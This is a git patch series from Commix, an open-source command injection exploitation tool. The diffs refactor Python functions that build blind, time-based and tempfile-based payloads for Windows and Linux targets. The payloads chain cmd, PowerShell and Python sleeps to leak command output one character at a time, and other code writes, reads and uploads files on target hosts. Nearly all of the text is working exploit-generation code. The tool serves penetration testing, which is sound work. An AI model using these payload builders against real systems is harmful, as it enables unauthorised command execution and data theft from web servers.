settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) else: if separator == ";" : @@ -492,22 +492,22 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -559,24 +559,22 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) else: if separator == ";" : diff --git a/src/utils/settings.py b/src/utils/settings.py index 23177875a3..e08bbaea8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "89" +REVISION = "90" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4a1b56f908135568a6843a4f433b6fdf09b475e1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Jun 2022 09:42:01 +0300 Subject: [PATCH 0168/1023] Minor refactoring --- src/core/injections/controller/checks.py | 16 +- .../techniques/file_based/fb_payloads.py | 2 +- .../tempfile_based/tfb_file_access.py | 56 ++--- .../techniques/tempfile_based/tfb_handler.py | 8 +- .../techniques/tempfile_based/tfb_payloads.py | 217 ++++++++---------- src/utils/settings.py | 2 +- 6 files changed, 136 insertions(+), 165 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4daae493b3..cbae53b3ce 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1627,12 +1627,12 @@ def generate_char_pool(num_of_chars): if menu.options.charset: char_pool = [ord(c) for c in menu.options.charset] else: - if num_of_chars == 1: - # Checks {A..Z},{a..z},{0..9},{Symbols} - char_pool = list(range(65, 90)) + list(range(96, 122)) - else: - # Checks {a..z},{A..Z},{0..9},{Symbols} - char_pool = list(range(96, 122)) + list(range(65, 90)) + # if num_of_chars == 1: + # # Checks {A..Z},{a..z},{0..9},{Symbols} + # char_pool = list(range(65, 90)) + list(range(96, 122)) + # else: + # # Checks {a..z},{A..Z},{0..9},{Symbols} + char_pool = list(range(96, 122)) + list(range(65, 90)) char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool @@ -2042,7 +2042,7 @@ def find_filename(dest_to_write, content): # _ = settings.FILE_WRITE if settings.TARGET_OS == "win": # _ = settings.FILE_WRITE_WIN - cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + " '" + content + "'" + cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname return fname, tmp_fname, cmd @@ -2078,7 +2078,7 @@ def remove_parenthesis(cmd): def write_content(content, dest_to_write): content = quoted_cmd(content) if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + " '" + content + "'" + cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write return cmd diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b0984350ef..15c56d2071 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -28,7 +28,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": payload = (separator + - settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '" + TAG + "'\"" + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" ) else: payload = (separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index af0174c117..9235b029a7 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -33,6 +33,7 @@ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector @@ -40,32 +41,19 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -73,6 +61,20 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) + +""" +Upload a file on the target host. +""" +def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + cmd, dest_to_upload = checks.check_file_to_upload() + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) """ Read a file from the target host. @@ -91,20 +93,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, print(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd, dest_to_upload = checks.check_file_to_upload() - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - """ Check the defined options """ @@ -114,11 +102,6 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: if settings.TARGET_OS == "win": check_option = "--file-upload" @@ -128,4 +111,9 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 636bf0b8ea..f10cf26b55 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -53,10 +53,9 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": - cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: - settings.WEB_ROOT = "" - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ @@ -271,7 +270,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 1a2cd689a8..7d3d540646 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -27,27 +27,25 @@ """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" payload = (pipe + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " - "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" - " do if %i==" +str(j) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -113,26 +111,24 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " + payload = (pipe + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) else: if separator == ";" : @@ -175,7 +171,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " @@ -199,42 +195,38 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + pipe + + "for /f \"tokens=*\" %x in ('cmd /c \"" + + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "" + OUTPUT_TEXTFILE + "< nul) " - "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + ampersand + + "for /f \"tokens=*\" %x in ('cmd /c \"" + + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) else: @@ -314,18 +306,16 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + pipe + " " + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -333,13 +323,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do @set /p =%i" + - settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + ampersand + "" + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(j) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) else: if separator == ";" : @@ -369,11 +357,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + - "[ " + str(j) + " -eq ${str1} ] " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "[ " + str(j) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: @@ -382,7 +370,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) @@ -405,13 +393,13 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : @@ -419,17 +407,17 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " - "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" - " do if %i==" +str(ascii_char)+ " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: if separator == ";" : payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -439,8 +427,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http #separator = "\n" payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE 